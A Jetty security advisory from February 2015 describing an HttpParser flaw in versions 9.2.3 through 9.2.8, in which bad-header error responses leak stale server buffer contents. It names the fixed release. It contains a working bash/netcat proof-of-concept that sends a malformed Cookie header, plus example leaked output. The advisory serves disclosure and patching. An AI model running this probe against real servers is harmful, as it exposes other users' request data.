Skip to content

Latest commit

 

History

History
116 lines (78 loc) · 3.06 KB

2015-02-24-httpparser-error-buffer-bleed.md

File metadata and controls

116 lines (78 loc) · 3.06 KB
Raw

HttpParser Error Buffer Bleed Vulnerability

Published Date:

2015, Feb 24

CVE:

(not yet assigned)

Discovered and Reported By:

GDS Security and Stephen Komal

Affected Versions of Jetty:

  • 9.2.3.v20140905
  • 9.2.4.v20141103
  • 9.2.5.v20141112
  • 9.2.6.v20141205
  • 9.2.7.v20150116
  • 9.2.8.v20150217

Version of Jetty Containing Fix:

  • 9.2.9.v20150224

Statement:

Jetty versions 9.2.3.v20140905 through 9.2.8.v20150217 have a ByteBuffer reuse and information bleed vulnerability surrounding bad HTTP request header parsing error responses.

History:

Back in Jetty 9.2.3, a feature requesting more detailed logging messages surrounding problems parsing bad HTTP request headers ( https://bugs.eclipse.org/443049 ) was implemented.

The feature request was to include better debug information in the Jetty logs (at WARN level) to help diagnose and resolve HTTP parsing errors.

However, the implementation incorrectly exposes this debug information back on the HTTP 400 response reason phrase, potentially exposing parts of server side buffers used from prior request processing on the same server.

The following bash shell script demonstrates the problem using netcat on linux against the Jetty Distribution's demo-base.

#!/bin/bash

RESOURCEPATH="/test/dump/info"
BAD=$'\a'

function normalRequest {
echo "-- Normal Request --"

nc localhost 8080 << NORMREQ
POST $RESOURCEPATH HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Connection: close
Content-Length: 16

Username=Joakim
NORMREQ
}

function badCookie {
echo "-- Bad Cookie --"

nc localhost 8080 << BADCOOKIE
GET $RESOURCEPATH HTTP/1.1
Host: localhost
Coo${BAD}kie: ${BAD}

BADCOOKIE
}

normalRequest
echo ""
echo ""
badCookie

The results are often seen in the HTTP response such as ...

HTTP/1.1 400 Illegal character 0x7 in state=HEADER_IN_NAME in 'GET /dummy/ HTTP/... localhost\nCoo\x07<<<kie: \x07\n\n>>>e: application/x-...\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
Content-Length: 0
Connection: close
Server: Jetty(9.2.8.v20150217)

What you are seeing is a http response phrase that includes raw ByteBuffer details on what happened during the parsing failure.

The parts of the output are in the general form {what_has_been_parsed}<<<{left_to_parse}>>>{old_buffer_seen_past_limit}

The part at {old_buffer_seen_past_limit} is where this exposure of past buffers comes from. It is this information where an exploit could be made to present random prior buffers from the server buffer pool. This information can contain anything seen in a past handled request.

We have this problem already patched in Jetty 9.2.9.v20150224, and the same test as above results in ...

HTTP/1.1 400 Illegal character 0x7
Content-Length: 0
Connection: close
Server: Jetty(9.2.9.v20150224)

Everyone is strongly encouraged to upgrade to Jetty 9.2.9.v20150224 immediately.